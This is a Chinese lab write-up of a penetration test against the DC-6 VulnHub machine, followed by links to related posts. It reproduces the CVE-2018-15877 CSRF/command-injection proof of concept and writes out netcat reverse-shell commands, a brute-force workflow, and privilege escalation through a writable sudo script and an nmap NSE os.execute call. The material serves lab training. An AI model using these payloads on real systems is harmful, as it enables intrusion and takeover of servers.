DC-6 靶机渗透测试
DC-6 渗透测试
冲冲冲,好好学习 。 收获总结写在文末。
操作机:kali 172.66.66.129
靶机:DC-4 172.66.66.136
网络模式:NAT
上来一波 netdiscover

靶机ip 172.66.66.136
nmap -sV -A -p- 172.66.66.136 -oN /tmp/dc-6.nmap

开了22 80,dirb http://wordy/


80访问不了,需要配置域名解析 ,windows下 在C:\Windows\System32\drivers\etc
kali里改一下/etc/hosts ,加一行 172.66.66.136 wordy


多么亲切的cms--WordPress ,wpscan 用一下可以枚举用户名,cewl收集密码(看一下网站的内容就知道这收集的密码可能不靠谱)
cewl http://wordy/ -w /tmp/dc-6.txt收集密码
wpscan --url http://wordy/ -e u 枚举用户

admin 、mark 、graham 、jens 、sarah5个账号 名
用户密码爆破
wpscan --url http://wordy/ -e u -P /tmp/dc-6.txt

失败,欺负我没字典?还记得kali里的密码集在那个目录吗? /usr/share/wordlists 找个字典用一下。rockyou.txt.gz 解压这个出来用


论字典的重要性...看了下官方给的提示

最终密码里会有k01字符,把包含该字段的密码分离出来。

账号密码mark : helpdesk01

可能有疑问:我怎么知道它哪有漏洞可以用呢?
不知道就去找呗,看到啥都百度一下 XXX poc,总能找到。

5.1.1版本没有能用的。看到用了插件 activity monitor
searchsploit activity monitor 看到了45274.html
<!--
About:
===========
Component: Plainview Activity Monitor (Wordpress plugin)
Vulnerable version: 20161228 and possibly prior
Fixed version: 20180826
CVE-ID: CVE-2018-15877
CWE-ID: CWE-78
Author:
- LydA(c)ric Lefebvre (https://www.linkedin.com/in/lydericlefebvre)
Timeline:
===========
- 2018/08/25: Vulnerability found
- 2018/08/25: CVE-ID request
- 2018/08/26: Reported to developer
- 2018/08/26: Fixed version
- 2018/08/26: Advisory published on GitHub
- 2018/08/26: Advisory sent to bugtraq mailing list
Description:
===========
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability, but
this plugin version is also vulnerable to CSRF attack and Reflected
XSS. Combined, these three vulnerabilities can lead to Remote Command
Execution just with an admin click on a malicious link.
References:
===========
https://github.com/aas-n/CVE/blob/master/CVE-2018-15877/
PoC:
-->
<html>
<!-- Wordpress Plainview Activity Monitor RCE
[+] Version: 20161228 and possibly prior
[+] Description: Combine OS Commanding and CSRF to get reverse shell
[+] Author: LydA(c)ric LEFEBVRE
[+] CVE-ID: CVE-2018-15877
[+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
[+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
-->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
<input type="hidden" name="lookup" value="Lookup" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
构造一个请求,让给出的poc是拿到一个反弹shell。这个html需要想办法经过服务器解析之后执行才能生效。kali里开一下服务器执行行就可以了。
python -m SimpleHTTPServer 9898


发现执行出错了,“收到无效的客户端请求:请求的第一行不包含绝对URL-尝试启用不可见的代理支持。”
burp抓包改包。

前面需要写入一个可访问的地址,再拼接 命令


这就可以反弹shell了。
改成 www.baidu.com | nc 172.66.66.129 8888 -e /bin/bash


交互shell python -c 'import pty;pty.spawn("/bin/bash")'
cd 到home目录下找找东西,在mark/stuff发现

graham:GSo7isUM1D4噢~ 我下意识想到的是 su graham 阿哲....
速问速答:su 切换用户 与 ssh登录的用户,使用上有啥区别?
其实也就是su切换之后那些PATH,MAIL,PWD等的值 的问题,su切换之后,这些值也还是切换前的用户的,su切换之后,可以输入exit退回之前的登录用户。
ssh就是很正常的一种用户登录。
ssh graham@172.66.66.136


可以发现 backups.sh的权限很高,当前账号在所属组里,可往里追加写:
echo '/bin/bash' >> backups.sh
sudo -u jens /home/jens/backups.sh

成功切换到了jens,报错是 tar默认相对路径,所以提示去除 / 符号
sudo -l

先看看nmap的版本 nmap -v 7.4的版本,比较新,无法实现直接 nmap> 命令行那种交互(旧版本的nmap 2.02至5.21)nmap --interactive可见无此参数


不过可以把 /bin/bash 写进脚本里,通过nmap的--script参数执行脚本。
echo 'os.execute("/bin/bash")'>get_shell.nse
sudo nmap --script=/home/jens/get_shell.nse

okk

最后
做了这么些靶机,感觉答题流程都一样,差别在细节,本靶心得:
history.pushState( )这是一个非常神奇的javascript方法,让页面无刷新增添浏览器历史记录。
语法 history.pushState(state, title, url)URL — 这个参数提供了新历史纪录的地址。请注意,浏览器在调用pushState()方法后不会去加载这个URL,但有可能在之后会这样做,比如用户重启浏览器之后。新的URL不一定要是绝对地址,如果它是相对的,它一定是相对于当前的URL。新URL必须和当前URL在同一个源下;否则,pushState() 将丢出异常。这个参数可选,如果它没有被特别标注,会被设置为文档的当前URL。
nc的 -l 选项用于指定nc将处于侦听模式。指定该参数,则意味着
nc被当作server,侦听并接受连接,而非向其它地址发起连接。所以 -l 参数 与ip地址不能同时出现。
这是错的:nc -nlvp 172.66.66.129 8888 -e /bin/bash这是错的用户家目录下这四个隐藏文件解读:
.bash_history .bash_logout .bashrc .profile.bash_history 记录这个用户执行过的命令(当用户退出时写入)
.bash_profile 保存用户搜索的命令的路径
.bash_logout 当用户退出时执行的命令
.bashrc 保存自定义的命令别名
/etc/bashrc 全局所有用户保存自定命令别名
/etc/profile 全局所有用户载入的系统的环境
读取顺序如下:
/etc/profile
/etc/bashrc
~/.bashrc
~/.bash_profile
nmap 提权。使用
--script参数执行提权脚本。写绝对路径上去。
os.execute ([command])这是lua中的一个函数,相当于C语言里的 system(),这个函数解析command再通过系统调用解析的结果,会返回一个依赖于操作系统的状态码。Lua的
os.execute ("pause")等价于c语言:system("pause")含义是:发起系统调用来执行命令pasue。回忆一下这个:
命令>文件以覆盖的方式,把命令的正确输出输出到指定的文件或设备当中。
命令>>文件以追加的方式,把命令的正确输出输出到指定的文件或设备当中。nmap的脚本是以.nse结尾的
DC-6 靶机渗透测试的更多相关文章
- DC-1 靶机渗透测试
DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...
- DC-5 靶机渗透测试
DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...
- DC-2 靶机渗透测试
DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...
- DC-9 靶机渗透测试
DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...
- DC-7 靶机渗透测试
DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...
- DC-8 靶机渗透测试
DC-8 渗透测试 冲冲冲 ,好好学习 . 核心:cms上传添加存在漏洞组件,利用该组件getshell 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.137 网络 ...
- DC-4 靶机渗透测试
DC-4 渗透测试 冲冲冲,努力学习 .掌握 hydra ,nc反弹shell 记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root 操作机:ka ...
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- vulnhub-DC:7靶机渗透记录
准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...
随机推荐
- cos中的文件结构(DF/EF/MF/FID/AID/SFI..)
转载自:https://blog.csdn.net/Enjoy_endless/article/details/75108349 刚开始接触CPU卡的时候,对于各种文件.应用的定义容易模糊不清,通常不 ...
- 痞子衡嵌入式:以i.MXRT1xxx的GPIO模块为例谈谈中断处理函数(IRQHandler)的标准流程
大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是以i.MXRT的GPIO模块为例谈谈中断处理函数(IRQHandler)的标准流程. 在痞子衡旧文 <串口(UART)自动波特率识 ...
- 温故知新Docker概念及Docker Desktop For Windows v3.1.0安装
Docker 简介 什么是Docker? Docker是一个开放源代码软件项目,项目主要代码在2013年开源于GitHub.它是云服务技术上的一次创新,让应用程序布署在软件容器下的工作可以自动化进行, ...
- 1.QT多线程使用小结
开头 一个进程可以有一个或更多线程同时运行.线程可以看做是"轻量级进程",进程完全由操作系统管理,线程即可以由操作系统管理,也可以由应用程序管理. Qt 使用QThread来管理线 ...
- 视频云峰会|“科技 X 艺术” 的颗粒度体验是什么?
科技日新月异,交互艺术新门类也随之蓬勃,当代艺术创作者不断凭借其想象力和跨学科能力,致力科技与艺术的融合创作. 7 月 10 日,在北京,2021 阿里云视频云全景创新峰会暨全球视频云创新挑战赛决赛颁 ...
- 柔性数组(Redis源码学习)
柔性数组(Redis源码学习) 1. 问题背景 在阅读Redis源码中的字符串有如下结构,在sizeof(struct sdshdr)得到结果为8,在后续内存申请和计算中也用到.其实在工作中有遇到过这 ...
- 『无为则无心』Python函数 — 26、Python函数参数的传递方式
目录 1.位置参数 2.关键字参数 3.缺省参数(默认参数) 4.不定长参数(可变参数) (1)包裹位置传递 (2)包裹关键字传递 5.位置参数.默认参数.可变参数的混合使用 6.拓展:参数解包 提示 ...
- 连接mysql数据库实现增删改查(一)
在python中我们通过pymysql来连接数据库,具体实现如下 ''' 连接mysql数据库 此类进行封装了一些基础的操作数据库方法 ''' import pymysql from Homework ...
- spring boot j集成seagger 加入拦截器后 swagger 不能访问
一开始我是这样排除拦截的,但是发现没用 后来我发现swagger的真实访问路径是这样的 转自: https://blog.csdn.net/ab1991823/article/details/7906 ...
- python使用笔记13--清理日志小练习
1 ''' 2 写一个删除日志的程序,删除5天前或为空的日志,不包括当天的 3 1.删除5天前的日志文件 4 2.删除为空的日志文件 5 ''' 6 import os 7 import time 8 ...